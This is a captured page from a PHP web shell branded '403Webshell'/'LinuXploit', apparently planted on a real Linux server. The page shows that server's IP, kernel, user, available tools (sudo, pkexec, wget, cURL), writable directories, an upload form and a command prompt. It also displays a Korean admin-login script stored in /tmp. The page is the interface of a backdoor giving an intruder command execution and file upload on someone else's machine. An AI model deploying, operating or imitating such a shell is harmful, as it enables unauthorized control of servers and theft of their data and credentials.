403Webshell
Server IP : 119.195.102.159  /  Your IP : 216.73.217.134
Web Server : nginx/1.18.0
System : Linux picell 5.15.0-181-generic #191-Ubuntu SMP Fri May 22 19:09:02 UTC 2026 x86_64
User : altablue ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/skh_login_proc.php
<?
if (empty($_SERVER['DOCUMENT_ROOT'])) {
    $_SERVER['DOCUMENT_ROOT'] = dirname(__DIR__);
}
include_once $_SERVER['DOCUMENT_ROOT'] . "/ko_admin/config_setup.php";

if(!$admin_password || !$admin_id){
	alert_to_admin("아이디/패스워드를 작성해주세요");
	exit;
}

$id_enc = hash("sha256", $admin_id);
$password_enc = hash("sha256", $admin_password);
$auth_token = hash("sha256", $admin_id.$admin_password);

$query = "SELECT * FROM koweb_member WHERE id_enc = '$id_enc' AND password='$password_enc' AND auth_level = '1' LIMIT 1";
$result = mysql_query($query);
$check = mysql_num_rows($result);

if($check < 1){
	alert_to_admin("아이디/패스워드를 확인해주세요.");
	exit;
} else {
	$admin_row = mysql_fetch_array($result);
	$_SESSION['auth_admin_ci'] = $admin_row['id'];
	$_SESSION['auth_admin_di'] = $admin_row['password'];
	$_SESSION['auth_token'] = hash("sha256", $admin_id.$admin_password);
	$_SESSION['auth_level'] = $admin_row['auth_level'];
	$_SESSION['member_id'] = $admin_row['id'];
	$_SESSION['member_name'] = $admin_row['name'];
	$_SESSION['member_name'] = $admin_row['name'];
	$_SESSION['member_mail'] = $admin_row['email'];
	$_SESSION['is_admin'] = true;
	alert("로그인되었습니다.");
	echo "<script type='text/javascript'> parent.location.href='./index.html'; </script>";
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit